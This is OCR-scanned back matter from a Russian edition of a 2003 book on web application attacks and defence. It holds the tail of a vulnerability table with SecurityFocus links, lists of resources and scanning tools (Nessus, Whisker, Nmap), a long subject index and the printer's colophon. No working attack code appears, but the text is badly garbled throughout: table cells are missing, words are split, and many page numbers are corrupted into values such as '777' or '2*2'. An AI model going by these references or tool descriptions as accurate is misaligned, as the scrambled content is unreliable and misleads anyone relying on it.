Информацияобизъяне
/www.securityf
http://www.securityfocus.com/bid/3009
//www.securityf com/bid/2003
http://www.securityfocus.com/bid/1756
Окончание таблицы
Microsoft IIS 3.0/4.0,
Netscape Enterprise Server, INDEX
Netscape EnterpriseServer,
Oracle Internet Application Server,
Oracle 9i Application Server, mod_plsql
GET
HTTP/1.0
INDEX
2. GET /?wp ver info HTTP/1.0
GET
GET
относительный
путь к
http://www.securityfocus.com/bid/3727
ПРИЛОЖЕНИЕ Д
иссыпки
Здесь приведен краткий перечень важных ресурсов и
ссылок.
Из этих источников можно получить самую последнюю информацию по вопросам
обеспечения безопасности в Web.
Ресурсы и ссылки
Ресурс
Адрес URL
Focus
com
New Order
http://neworder.box.sk
Computer Emergency Response Team (CERT)
org
Rain Forest Puppy
364
Приложение Д
ПРИЛОЖЕНИЕ Е
Средства оценки
Для оценки Web приложений можно использовать следующие средства.
Средства оценки
Название
Адрес URL
Описание
SuperScan от
компании
Foundstone
FScan от
компании
Foundstone
Whisker
Scanner от
компании
Stealth
Nessus
Scanner
Cerberus
Scanner
I
Scanner
Популярная утилита сканирования TCP портов
и IP адресов для платформы Windows компании
Microsoft
Популярная утилита сканер портов из команд
ной строки для системы Windows компании Mi
crosoft
Популярная программа поиска изъянов
написанная на языке PERL
Популярная утилита сканер изъянов
разработанная для платформы Mi
crosoft Windows. Позволяет проверить наличие
000 изъянов
http://www.nessus.org Популярная и свободно распространяемая
программа для системы UNIX (модуль скани
рования) и Microsoft Windows (только пользо
вательский интерфейс), в которой для скани
рования используется распределенная архитек
тура. Позволяет проверить наличие около 900
изъянов
net/rfp/
com/stealth/
infosec.co.uk
nextgenss.com
Свободно распространяемая программа скани
рования для платформы Windows. Позволяет
проверить наличие множества известных изъя
нов Web, а также систем Microsoft Windows,
UNIX и баз данных
Свободно распространяемая программа скани
рования для платформы Windows. Позволяет
проверить наличие множества широко распро
страненных изъянов Web, а также систем Win
dows, UNIX и баз данных
Возможно, одна из самых популярных утилит
прослушивания и сканирования сети, которая
позволяет идентифицировать также ТСР
и
Этой утилитой поддерживает
ся несколько типов сканирования, а кроме
предоставляется и много дополнительных
функций, в том числе возможность удаленной
идентификации операционной системы
и служб RPC
366
Приложение Е
Предметный указатель
Access Control List (ACL), 67; 269
Active Server Page, 40, 120
ActivePerl, 238
ActiveX, 32; 43; 192
Apache, 37; 219
виртуальный узел, 60
директива 63
серверные включения, 62
ASP, 40, 225
ATG Dynamo Application Server, 155
В
Base64, 207
Bugtraq, бюллетень, 306
Carello, 95
Carnegie Mellon Emergency Response Team
(CERT), 302
CFML, 38
CGI, 44; 62, 121
сценарий, 256
4360
Code Red, 65; 125; 328
ColdFusion, 38
ColdFusion Markup Language, 38
COM, 43
Common Gateway Interface, 34; 44; 62; 121
Component Object Model (COM), 43
Cookie, 191; 276; 283; 286; 310, 314;
316
временные, 314
постоянные, 315
Crawler, 181
Crawling, 181
Data Source Name, 41; 152
DCShop, 95
Denial of Service, 84; 244
DES, 114
DHTML, 32
Discover DeskShop, приложение, 99
Discover, кредитная карточка, 99
Document Type Definition, 32
DoS, 84; 328
DSN, 41; 152
DTD, 32
Dual homed system, 206
Dynamic Shared Object, 144
E commerce, 223
Enterprise Manager, 74
223
extensible Markup Language, 32
False
335
Flash, технология, 226
Front end Web server, 141
FrontPage, 66
GNU, лицензия, 173
Google, 235
С
H
Handler, 261
Header field, 113
Heap spraying, 327
HTML, 29
дескрипторы, 30
динамический, 32
комментарий,
форма,
HTML Validation Service, 30
HTTP, 777
запрос, 109
ответ, 109
управление сеансами, 283
HTTP/1.0, 352
методы, 109
Предметный указатель
112; 352
адрес URL, 112
114
HTTP аутентификация, 207
HyperText Markup Language, 30
Transfer Protocol, 107
I
IDS, 334
IETF, 108
IIS, 120
виртуальный каталог, 66
индексный сервер, 65
Interactive Disassembler Pro, 291; 296
Internet Engineering Task Force, 108
Internet Explorer, 164
команда
765
Internet Information Server,
63
Internet Server Application Programming
Interface, 64
Internet Services Manager, 65
Intrusion Detection System, 107; 302; 334
254
IP псевдоним, 61
64; 226
фильтр, 326
293
Linkage analysis,
Lotus Domino, 147; 281
LWP, библиотека, 207
M62
MD5, 207
Microsoft Outlook, 281
Microsoft SQL Server, 70, 247
MIME, 47
Miva Merchant, 104
MySQL, 226
N
Netscape Navigator, 50
команда
Source, 164
отключение режима выполнения
сценариев JavaScript, 236
65; 330
Nomad Mobile Research Center
(NMRC), 306
NTFS, 67; 269
NTLM, 207; 311
J2EE, 144
JAD, 49
JAS, 53
Java, 48; 257
Java Database Connectivity, 152
Java Decompiler, 49
Java Server Page, 55;
Java Web Server, 53; 257
JavaBeans, 257
JavaHTML, 53
JavaScript, 31; 32; 172; 235
JavaSoft, стандарт, 55
JDBC,
Developer, 53
JHTML, 53
JRun, 53
Jscript, 31; 52
JSP, 53
вскрытие исходного кода, 54
757
ODBC,
Open Database Connectivity, 752
Opera, 164; 286
Oracle,
226; 247
9i, 59
Connection Interface,
Listener, 79
PayFlow, 104
PayFlow Pro, 99
PayPal, 104
Perl, 26; 33; 225
43
Personal Home Page, 36
PHP, 36; 225
98
proxy сервер, 313
Public Key Infrastructure, 98
368
Предметный указатель
Query string, 121
Rain Forest Puppy, лаборатория, 304
RealSecure, 335
Response code, 113
RSA, 114
Secure Electronic Transaction, 98
SecureNet, 335
Server Side Includes, 62
SET, 98
SGML, 32
ShopPlus, 242
SHTML, 45
Single Use Credit Card, 99
Snort, 114
Source sifting, 163
Spam, 170
SQL,
SQL poisoning, 70
SQL Server, 70
SQL Server Agent, 75
SSI, 45; 62
SSL, 98; 103; 114; 336
338
Standard Generalized Markup Language, 30
203
Tomcat, 257
Transact SQL, 76
Transport Layer Security, 114
UCS Translation Format,
Unicode, 201
Uniform Resource Identifier, 352
Uniform Resource Locator, 118
Universal Character Set,
152
URL, 112; 118
основные элементы, 119
полиморфный, 342
UTF 8,
VBScript, 31; 32; 172, 235
vi, 232
Vignette Story Server, 156
Visual Basic, 40
.
w
W32/Nimda A, 330
W3C, 306
Web application execution environment, 141
243
WebLogic, 53
WebSphere, 53
Web приложение, 141
179
Web сервер, 59
Apache, 219
IIS, 120
Windows File Protection, 329
XHTML, 33
XML, 31; 32
Автоматическое просеивание исходного
кода, /72
Адрес URL, 112
полиморфный, 342
Активная серверная страница, 40
Алгоритм шифрования
Base64, 189
MD5, 207
Анализ
190
связей, 179
основная методология, 180
Анализатор сетевых пакетов, 336
EtherPeek, 31
31; 192
Ассемблер, 291
основные инструкции, 293
Атрибут 43
DATASOURCE, 39
41
Аутентификация
Basic, 309
Предметный указатель
369
HTTP, 207; 219, 307
NTLM, 207
на базе форм, 309
База данных, 247
72
SQL, 247
транзакций, 100
Байт код, 31; 48
Библиотека
LWP,
типов, 43
Бизнес логика, 223
Брандмауэр, 107; 247
В
Взлом паролей, 309
Виртуальная кредитная карточка, 98
Виртуальный
каталог, 66
узел, 68
на базе IP адресов, 61
на базе имен, 60
Вирус червь, 65; 302; 326
Code Red, 125; 328
Внешний Web сервер, 141
Внутреннее перенаправление, 145
Впрыскивание в кучу, 327
Временное состояние, 284
Время жизни
торговой
тележки, 91
Вскрытие исходного кода, 54
Вторичный IP адрес, 68
Выделение в структуре приложения
отдельных логических групп, 187
Гипертекст, 179
Двойное декодирование, 330
система, 206
Декомпилятор Java, 49
Демон 203
338
Дескриптор, 30
166
<А>, 169
<applet>, 31;
192
<CFQUERY>, 39
34;
192; 232
<img>, 32 171
<java>, 55
<META>, 164; 171; 187
<object>, 32; 43; 192
31; 41; 52; 172; 193
132
якоря,
Дешифратор URL, 343
Диаграмма состояний, 282
Дизассемблирование,
Динамический HTML, 225
Директива, 47
Action, 63
EXEC, 47
Listen, 219
Options, 62
Options Indexes,
63
62
перенаправления, 187
Документ
DTD, 32
ISO 10646,
RFC 1945, 354
RFC 2616, 772
Домен, 308
Загрузчик
260
Закрытый симметричный ключ, 340
Запись 60
Запуск управляющих элементов
ActiveX, 32
И
Идентификатор
CLSID, 43
сеанса,
276; 287
Избыточное декодирование,
Изъян
Unicode,
330
двойного декодирования,
370
Предметный указатель
фильтра .ida, 65
Инвентаризация Web ресурсов, 194
Индексный
регистр, 293
сервер, 326
Интерфейс
CGI, 34; 44; 62
ISAPI, 64
OCI,
общего шлюза, 727; 256
Информационная схема, 77
Искусственный интеллект, 348
Исследование Web узла,
Источник данных, 39
Канал платежей, 90
Карта Web приложения, 180
Каталог товаров, 93; 94
Клиентский сценарий, 193
Ключ сеанса, 340
Кнопка передачи данных, 131
Код ответа, 113
Комментарий HTML, 166
Компьютерный червь, 302
Конвейер, 26; 123
Конечное состояние, 282
Консорциум
Unicode, 725
W3C, 30
Краулер, 522
Краулинг,
Л
Линия перехода, 2*2
Ловушка, 347
Ложное срабатывание, 335
м
Матрица Web ресурсов, 193
Метасимвол, 725; 257; 323
Метод
GET, 109
OPTIONS,
POST, 34
передачи
данных,
информации, 31
Механизм управления сеансами, 94
Модель
открытого кода, 257
электронной коммерции, 90
Модуль управления сеансами, 93
Мошенничество с кредитными
карточками, 97; 239
н
Начальное состояние, 2*2
Обработчик, 63; 261
подмена, 261
прерываний, 2Р7
события
32
Обратное проектирование, 2*7;
Обход
анализа сигнатур,
механизма проверки данных, 257
систем IDS, 346
Объектная модель компонентов, 43
Операция XOR, 275
Отказ в обслуживании, 84; 328
Отображение URL адресов,
Отслеживание сеансов, 2*5; 2*7
Оценка Web приложений, 366
Ошибка Unicode,
п
Пакет,
Передача параметров с помощью URL,
722
Переменная окружения
CGI, 46
45
80
QUERY_STRING, 46; 121
Перенаправление, 186
реверсивное, 279
Переполнение буфера, 65; 291;
293; 319
удаленное,
Перехват сеансов, 275;
Платежная система
99
Подбор паролей,
HTTP,
в лоб, 310
Предметный указатель
371
Подмена обработчика, 261
Подсистема
ShopPlus, 242
243
выбора товаров, 91; 92; 94; 235
удаленное выполнение команд, 242
обработки платежей, 225
проблемы реализации,
управления складом, 225
Поиск скрытых полей, 234
Поле
Content Type, 182
Location, 110
Via, 114
заголовка,
113
Полиморфный
адрес URL, 342
код, 336
Препроцессор HTTP, 343
Приложение с сохранением
состояния,
Принцип третьего среднего, 347
Проблема подмены цен, 239
Проверка
входных данных, 269
с
клиентского
сценария, 235
Программа
Achilles, 304; 319
Defender, 335
Brutus, 309
Cookie Pal, 275; 286; 304; 314; 316
Entercept, 300
2ft?
336
Funnel Web Profiler, 183; 190
HTML Tidy, 30
OpenSSL, 338
Perl2exe, 36335
RealSecure, 335
SecureNet, 335
Snort, 335; 342
297
Pro, 176; 185; 304; 322
Whisker, 346; 366 182
перенаправление, 186
Продажа по каталогам, 87
Просеивание исходного кода, 163
автоматическое,
Протокол,
HTTP, 777; 202; 281
254
SET, 98
SSL,
103; 114; 336
331
TLS, 114
Профиль покупателя, 104
Псевдоним
56
Разовая кредитная карточка, 98
Раскрытие исходного кода, 163; 358
Расширяемый язык разметки, 32
Реверсивное перенаправление,
Реверсивный HTTP посредник, 339
Регистр
индексный, 293
общего назначения,
Регулярное выражение, 35; 38
Редактор vi, 232
Реляционная база данных, 226
Сервер
IIS, 207; 256
удаленное переполнение
буфера, 326
Java Web Server, 257
JRun, 257
257
Lotus Domino,
WebSphere, 257
баз данных, 7ft
индексный, 326
приложений Java, 53
Серверная страница Java, 53
Серверные включения, 45; 62
Серверный сценарий, 35; 40
53; 101; 257; 270
261
257
псевдоним, 56
уровня ядра, 261
Сетевая система выявления
вторжений, 334
Сетевой анализатор пакетов,
Сигнатура атаки, 334; 342
372
Предметный указатель
Система
выявления вторжений, 107; 302; 334
основные элементы, 334
уровня узла, 335
обработки платежей, 88
104
Скрытое поле, 287
поиск, 235
Скрытый
атрибут,
дескриптор, 229
Служба защиты системных файлов, 329
Сокрытие кода сценариев Perl, 36
Состояние, 282
временное, 284
конечное, 282
начальное, 282
Сохранение состояний, 287
Спецификация HTML 4.0, 164
Список управления доступом, 67
Спэм,
Среда выполнения Web приложения, 141
Стандарт 77
J2EE, 154
JavaSoft,
Стандартный обобщенный язык
разметки, 32
Стек, 293
Строка запроса,
242
Структура URL,
Схема традиционной розничной
торговли,
Сценарий
listgen.pl, 307
tnscmd.pl, 80
клиентский, 772;
серверный, 35; 40
Счетчик команд, 293
Теория конечных автоматов, 282
Технология
ASP,
впрыскивания в
327
Тип MIME, 47
Торговая тележка, 90
изъян проверки входных данных, 237
Традиционная модель розничной
торговли, 88
Троянский конь, 329
33*
SSL,
Удаленное выполнение команд,
Указатель стека, 293
Универсальный
идентификатор ресурса, 352
клиент, 281
локатор ресурсов,
набор символов, 725
Управление
сеансами, 93; 94; 191; 225; 228
283
складом, 225
Утилита
Achilles, 372
Black Widow, 776;
Brutus, 2/6; 304
Enterprise Manager, 74
FoundScan,
Fscan, 247; 366
grep, 772; /75
Netcat,
205; 252; 291;
304; 305
Nmap, 203; 366
NTOMax, 297
osql.exe, 247; 253
Sam Spade, /76;
Scanner, 366
snort, 247
ssldump, 775; 340
339
SuperScan, 366
340276
773; 322
Whisker, 161; 304; 306; 307
27
Файл 48
cookie, 376
global.asa, 47; 253
62
Предметный указатель
373
scan.db, 306
261
класса Java, 49
Фальсификация SQL, 70
Фильтр 64; 66; 226
Форма, 192
Функция
GetProcAddress, 298
298
open(), 24345
Хранимая процедура, 72
248 302
Электронная
коммерция, 87; 223
торговая тележка, 90, 93; 224; 225;
235
Carello, 95
DCShop, 95
Hassan Consulting, 96
Miva Merchant, 104
время жизни, 91
Электронное воровство, 223
Электронный магазин
подсистема обработки платежей, 225
торговая тележка, 225
торговый зал, 225
Элемент управления ActiveX, 43
Цифровой сертификат, 98
Червь, 302; 326
Code Red, 328
CodeRed II, 329
Morris, 326
Nimda, 330
Ш
Шифрование
Base64, 207
по открытому ключу, 98
Язык
HTML, 29
Java, 257
JavaScript,
JHTML, 56
43
Perl, 33 43
PHP, 36
Visual Basic, 40
XHTML, 33
XML, 302
ассемблера, 291
основные инструкции, 293
командной оболочки, 45
сценариев, 32; 52
374
Предметный указатель
Научно популярное издание
Стюарт Мак Клар, Саумил Шах, Шрирай Шах
в Web: атаки и защита
Литературный редактор Т. П. Кайгородова
Верстка А. Удалое
Художественный редактор С. А.
Корректоры А.
Т. А.
Издательский дом "Вильяме".
101509, Москва, ул. Лесная, д. 43, стр. 1.
Изд. лиц. ЛР No 090230 от 23.06.99
Госкомитета РФ по печати.
Подписано в печать 28.03.2003. Формат 70X100/16.
Гарнитура Times. Печать офсетная.
Усл. печ. л. 30,96. Уч. изд. л. 21,82.
Тираж 3500 экз. Заказ No 2649.
Отпечатано с диапозитивов
"Печатный двор"
Министерства РФ по делам печати,
телерадиовещания и средств массовых коммуникаций.
Санкт Петербург,
пр., 15.